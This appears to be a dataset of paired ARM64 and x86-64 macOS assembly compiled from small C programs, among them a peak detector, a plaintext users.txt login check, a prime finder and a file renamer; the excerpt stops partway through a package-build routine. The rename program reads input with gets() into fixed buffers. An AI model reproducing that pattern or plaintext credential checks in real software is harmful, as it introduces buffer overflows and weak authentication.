movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -24(%rbp), %rax
movslq -1820(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
movl -1820(%rbp), %eax
addl $1, %eax
movl %eax, -1820(%rbp)
jmp LBB3_45
LBB3_54:
movq -24(%rbp), %rdi
movl -1820(%rbp), %esi
leaq -848(%rbp), %rdx
leaq -1648(%rbp), %r9
movsd -1832(%rbp), %xmm0 ## xmm0 = mem[0],zero
movl -1836(%rbp), %eax
leaq -1796(%rbp), %rcx
movl $200, %r8d
leaq -1800(%rbp), %r10
movq %r10, (%rsp)
movl $200, 8(%rsp)
movl %eax, 16(%rsp)
callq _detect_peak
cmpl $0, %eax
je LBB3_56
## %bb.55:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.18(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB3_56:
movl $0, -1820(%rbp)
LBB3_57: ## =>This Inner Loop Header: Depth=1
movl -1820(%rbp), %eax
cmpl -1796(%rbp), %eax
jge LBB3_60
## %bb.58: ## in Loop: Header=BB3_57 Depth=1
movq -1808(%rbp), %rdi
movq -32(%rbp), %rax
movslq -1820(%rbp), %rcx
movslq -848(%rbp,%rcx,4), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -24(%rbp), %rax
movslq -1820(%rbp), %rcx
movslq -848(%rbp,%rcx,4), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
leaq L_.str.19(%rip), %rsi
movb $2, %al
callq _fprintf
## %bb.59: ## in Loop: Header=BB3_57 Depth=1
movl -1820(%rbp), %eax
addl $1, %eax
movl %eax, -1820(%rbp)
jmp LBB3_57
LBB3_60:
leaq L_.str.20(%rip), %rdi
callq _puts
movl $0, -1820(%rbp)
LBB3_61: ## =>This Inner Loop Header: Depth=1
movl -1820(%rbp), %eax
cmpl -1800(%rbp), %eax
jge LBB3_64
## %bb.62: ## in Loop: Header=BB3_61 Depth=1
movq -1808(%rbp), %rdi
movq -32(%rbp), %rax
movslq -1820(%rbp), %rcx
movslq -1648(%rbp,%rcx,4), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -24(%rbp), %rax
movslq -1820(%rbp), %rcx
movslq -1648(%rbp,%rcx,4), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
leaq L_.str.19(%rip), %rsi
movb $2, %al
callq _fprintf
## %bb.63: ## in Loop: Header=BB3_61 Depth=1
movl -1820(%rbp), %eax
addl $1, %eax
movl %eax, -1820(%rbp)
jmp LBB3_61
LBB3_64:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB3_66
## %bb.65:
xorl %eax, %eax
addq $1952, %rsp ## imm = 0x7A0
popq %rbp
retq
LBB3_66:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Usage: peakdetect [OPTIONS]\nPeak detection in a wave\n\nOptions:\n-i inputfile \t\tInput file.\n \t\tThe input file should be a csv format file, whose first\n \t\tcolumn is X and second column is Y.\n-o outfile \t\tOutput file.\n \t\tEmission peaks will be output first, followed by\n \t\tabsorption peaks with an empty line seperated.\n-d deltavalue\t\tDelta, a parameter used to determine peaks.\n-m mode \t\tDetecting mode, could be either \"a\" (detect absorption peak\n \t\tfirst) or \"e\" (detect emission peak first).\n \t\tDefault value is \"a\".\n--version \t\tDisplay version information.\n--help \t\tShow this help information.\n\ne.g.\npeakdetect -i input.csv -o output.csv -d 1e-7 -m a\npeakdetect <input.csv -d 0.1 -m e | tee out.csv\n"
L_.str.1: ## @.str.1
.asciz "peakdetect version 0.1.3\nCopyright (C) 2011 Hong Xu <[email protected]>\nOriginally inspired by Eli Billauer's peakdet for MATLAB:\nhttp://billauer.co.il/peakdet.html\n\nSee the README file for license information.\n"
L_.str.2: ## @.str.2
.asciz "r"
L_.str.3: ## @.str.3
.asciz "Failed to open file \""
L_.str.4: ## @.str.4
.asciz "\".\n"
L_.str.5: ## @.str.5
.asciz "w"
L_.str.6: ## @.str.6
.asciz "a"
L_.str.7: ## @.str.7
.asciz "e"
L_.str.8: ## @.str.8
.asciz "Argument parsing error: Unknown mode \""
L_.str.9: ## @.str.9
.asciz "\"\n"
L_.str.10: ## @.str.10
.asciz "-d"
L_.str.11: ## @.str.11
.asciz "-i"
L_.str.12: ## @.str.12
.asciz "-o"
L_.str.13: ## @.str.13
.asciz "-m"
L_.str.14: ## @.str.14
.asciz "--help"
L_.str.15: ## @.str.15
.asciz "--version"
L_.str.16: ## @.str.16
.asciz "Unknown option \""
L_.str.17: ## @.str.17
.asciz "%lf,%lf"
L_.str.18: ## @.str.18
.asciz "There are too many peaks.\n"
L_.str.19: ## @.str.19
.asciz "%e,%e\n"
L_.str.20: ## @.str.20
.space 1
.subsections_via_symbols
| the_stack_data/109609.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #320
.cfi_def_cfa_offset 320
stp x28, x27, [sp, #288] ; 16-byte Folded Spill
stp x29, x30, [sp, #304] ; 16-byte Folded Spill
add x29, sp, #304
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #76]
str w0, [sp, #72]
str x1, [sp, #64]
str wzr, [sp, #60]
str wzr, [sp, #44]
ldr x8, [sp, #64]
ldr x8, [x8, #8]
str x8, [sp, #32]
ldr x8, [sp, #64]
ldr x8, [x8, #16]
str x8, [sp, #24]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fopen
str x0, [sp, #48]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr x0, [sp, #48]
mov x9, sp
sub x8, x29, #124
str x8, [x9]
add x8, sp, #80
str x8, [x9, #8]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fscanf
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x0, [sp, #32]
sub x1, x29, #124
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_5
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr x0, [sp, #24]
add x1, sp, #80
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
mov w8, #1
str w8, [sp, #60]
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
LBB0_6:
ldr w8, [sp, #60]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_9
LBB0_8:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB0_9
LBB0_9:
ldr x0, [sp, #48]
bl _fclose
ldr w8, [sp, #76]
str w8, [sp, #20] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10:
bl ___stack_chk_fail
LBB0_11:
ldr w0, [sp, #20] ; 4-byte Folded Reload
ldp x29, x30, [sp, #304] ; 16-byte Folded Reload
ldp x28, x27, [sp, #288] ; 16-byte Folded Reload
add sp, sp, #320
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "users.txt"
l_.str.1: ; @.str.1
.asciz "r"
l_.str.2: ; @.str.2
.asciz "%s %s"
l_.str.3: ; @.str.3
.asciz "User authenticated\n"
l_.str.4: ; @.str.4
.asciz "not valid\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $288, %rsp ## imm = 0x120
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -228(%rbp)
movl %edi, -232(%rbp)
movq %rsi, -240(%rbp)
movl $0, -244(%rbp)
movl $0, -260(%rbp)
movq -240(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -272(%rbp)
movq -240(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -280(%rbp)
leaq L_.str(%rip), %rdi
leaq L_.str.1(%rip), %rsi
callq _fopen
movq %rax, -256(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -256(%rbp), %rdi
leaq -112(%rbp), %rdx
leaq -224(%rbp), %rcx
leaq L_.str.2(%rip), %rsi
movb $0, %al
callq _fscanf
cmpl $-1, %eax
je LBB0_6
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -272(%rbp), %rdi
leaq -112(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB0_5
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movq -280(%rbp), %rdi
leaq -224(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB0_5
## %bb.4: ## in Loop: Header=BB0_1 Depth=1
movl $1, -244(%rbp)
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
LBB0_6:
cmpl $1, -244(%rbp)
jne LBB0_8
## %bb.7:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_9
LBB0_8:
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
LBB0_9:
movq -256(%rbp), %rdi
callq _fclose
movl -228(%rbp), %eax
movl %eax, -284(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_11
## %bb.10:
movl -284(%rbp), %eax ## 4-byte Reload
addq $288, %rsp ## imm = 0x120
popq %rbp
retq
LBB0_11:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "users.txt"
L_.str.1: ## @.str.1
.asciz "r"
L_.str.2: ## @.str.2
.asciz "%s %s"
L_.str.3: ## @.str.3
.asciz "User authenticated\n"
L_.str.4: ## @.str.4
.asciz "not valid\n"
.subsections_via_symbols
| the_stack_data/31387604.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/147885.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w0, [x29, #-12]
bl _zhishu
subs w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_1
LBB0_3:
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _zhishu ; -- Begin function zhishu
.p2align 2
_zhishu: ; @zhishu
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
mov w8, #1
str w8, [sp]
mov w8, #2
str w8, [sp, #8]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #8]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_6
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #12]
ldr w10, [sp, #8]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
str w8, [sp, #4]
ldr w8, [sp, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
str wzr, [sp]
b LBB1_6
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB1_1
LBB1_6:
ldr w0, [sp]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -12(%rbp), %edi
callq _zhishu
cmpl $1, %eax
je LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_1
LBB0_3:
movl -12(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _zhishu ## -- Begin function zhishu
.p2align 4, 0x90
_zhishu: ## @zhishu
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl $1, -16(%rbp)
movl $2, -8(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -8(%rbp), %eax
cmpl -4(%rbp), %eax
jge LBB1_6
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl -4(%rbp), %eax
cltd
idivl -8(%rbp)
movl %edx, -12(%rbp)
cmpl $0, -12(%rbp)
jne LBB1_4
## %bb.3:
movl $0, -16(%rbp)
jmp LBB1_6
LBB1_4: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_5
LBB1_5: ## in Loop: Header=BB1_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB1_1
LBB1_6:
movl -16(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
.subsections_via_symbols
| the_stack_data/25136464.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _tzset ; -- Begin function tzset
.p2align 2
_tzset: ; @tzset
.cfi_startproc
; %bb.0:
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _tzset ## -- Begin function tzset
.p2align 4, 0x90
_tzset: ## @tzset
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/248581381.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/20450880.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _roundInt ; -- Begin function roundInt
.p2align 2
_roundInt: ; @roundInt
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str s0, [sp, #8]
ldr s0, [sp, #8]
fcmp s0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr s0, [sp, #8]
fmov s1, #0.50000000
fadd s0, s0, s1
fcvtzs w8, s0
str w8, [sp, #12]
b LBB0_3
LBB0_2:
ldr s0, [sp, #8]
fmov s1, #0.50000000
fsub s0, s0, s1
fcvtzs w8, s0
str w8, [sp, #12]
b LBB0_3
LBB0_3:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
fmov s0, #-0.50000000
stur s0, [x29, #-4]
ldur s0, [x29, #-4]
fmov s1, #1.00000000
fsub s0, s0, s1
fcvtzs w8, s0
str w8, [sp, #8]
ldr s1, [sp, #8]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
fmov d1, #-1.00000000
fcmp d0, d1
cset w9, ne
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l___func__.main@PAGE
add x0, x0, l___func__.main@PAGEOFF
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #15
adrp x3, l_.str.1@PAGE
add x3, x3, l_.str.1@PAGEOFF
bl ___assert_rtn
LBB1_2:
b LBB1_3
LBB1_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l___func__.main: ; @__func__.main
.asciz "main"
l_.str: ; @.str
.asciz "728631.c"
l_.str.1: ; @.str.1
.asciz "temp == -1.0"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal4,4byte_literals
.p2align 2 ## -- Begin function roundInt
LCPI0_0:
.long 0x3f000000 ## float 0.5
.section __TEXT,__text,regular,pure_instructions
.globl _roundInt
.p2align 4, 0x90
_roundInt: ## @roundInt
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movss %xmm0, -8(%rbp)
movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
xorps %xmm1, %xmm1
ucomiss %xmm1, %xmm0
jb LBB0_2
## %bb.1:
movss LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
addss -8(%rbp), %xmm0
cvttss2si %xmm0, %eax
movl %eax, -4(%rbp)
jmp LBB0_3
LBB0_2:
movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
subss %xmm1, %xmm0
cvttss2si %xmm0, %eax
movl %eax, -4(%rbp)
LBB0_3:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI1_0:
.quad 0xbff0000000000000 ## double -1
.section __TEXT,__literal4,4byte_literals
.p2align 2
LCPI1_1:
.long 0x3f800000 ## float 1
LCPI1_2:
.long 0xbf000000 ## float -0.5
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movss LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -4(%rbp)
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
subss %xmm1, %xmm0
cvttss2si %xmm0, %eax
movl %eax, -8(%rbp)
cvtsi2sdl -8(%rbp), %xmm0
movsd LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero
ucomisd %xmm1, %xmm0
sete %al
setnp %cl
andb %cl, %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB1_2
## %bb.1:
leaq L___func__.main(%rip), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.1(%rip), %rcx
movl $15, %edx
callq ___assert_rtn
LBB1_2:
jmp LBB1_3
LBB1_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L___func__.main: ## @__func__.main
.asciz "main"
L_.str: ## @.str
.asciz "728631.c"
L_.str.1: ## @.str.1
.asciz "temp == -1.0"
.subsections_via_symbols
| the_stack_data/728631.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #224
.cfi_def_cfa_offset 224
stp x29, x30, [sp, #208] ; 16-byte Folded Spill
add x29, sp, #208
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #36]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
sub x0, x29, #88
str x0, [sp, #24] ; 8-byte Folded Spill
bl _gets
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
add x0, sp, #40
str x0, [sp, #16] ; 8-byte Folded Spill
bl _gets
ldr x1, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
bl _rename
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
mov x9, sp
sub x8, x29, #88
str x8, [x9]
add x8, sp, #40
str x8, [x9, #8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_3
LBB0_2:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _perror
b LBB0_3
LBB0_3:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
bl ___stack_chk_fail
LBB0_5:
mov w0, #0
ldp x29, x30, [sp, #208] ; 16-byte Folded Reload
add sp, sp, #224
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter old file name: "
l_.str.1: ; @.str.1
.asciz "Enter new file name: "
l_.str.2: ; @.str.2
.asciz "\nThe file %s is renamed to %s"
l_.str.3: ; @.str.3
.asciz "ERROR in renaming"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $192, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -180(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq -96(%rbp), %rdi
callq _gets
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq -176(%rbp), %rdi
callq _gets
leaq -96(%rbp), %rdi
leaq -176(%rbp), %rsi
callq _rename
cmpl $0, %eax
jne LBB0_2
## %bb.1:
leaq -96(%rbp), %rsi
leaq -176(%rbp), %rdx
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_3
LBB0_2:
leaq L_.str.3(%rip), %rdi
callq _perror
LBB0_3:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_5
## %bb.4:
xorl %eax, %eax
addq $192, %rsp
popq %rbp
retq
LBB0_5:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter old file name: "
L_.str.1: ## @.str.1
.asciz "Enter new file name: "
L_.str.2: ## @.str.2
.asciz "\nThe file %s is renamed to %s"
L_.str.3: ## @.str.3
.asciz "ERROR in renaming"
.subsections_via_symbols
| the_stack_data/170452815.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _lupkg_build ; -- Begin function lupkg_build
.p2align 2
_lupkg_build: ; @lupkg_build
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, __binary_header_end@GOTPAGE
ldr x8, [x8, __binary_header_end@GOTPAGEOFF]
adrp x9, __binary_header_start@GOTPAGE
ldr x9, [x9, __binary_header_start@GOTPAGEOFF]
subs x8, x8, x9
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur x1, [x29, #-16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _opendir
ldr x8, [sp, #16] ; 8-byte Folded Reload
str x0, [sp, #40]
str x8, [sp, #32]
ldr x8, [sp, #40]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr x0, [sp, #40]
bl _closedir
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _unlink
b LBB0_7
LBB0_2:
bl ___error
ldr w9, [x0]
mov w8, #2
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_3
LBB0_3:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
mov w1, #511
bl _mkdir
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.3@PAGE
add x8, x8, l_.str.3@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_5:
b LBB0_6
LBB0_6:
b LBB0_7
LBB0_7:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _system
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.5@PAGE
add x8, x8, l_.str.5@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_9:
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
bl _fopen
stur x0, [x29, #-24]
ldur x8, [x29, #-24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
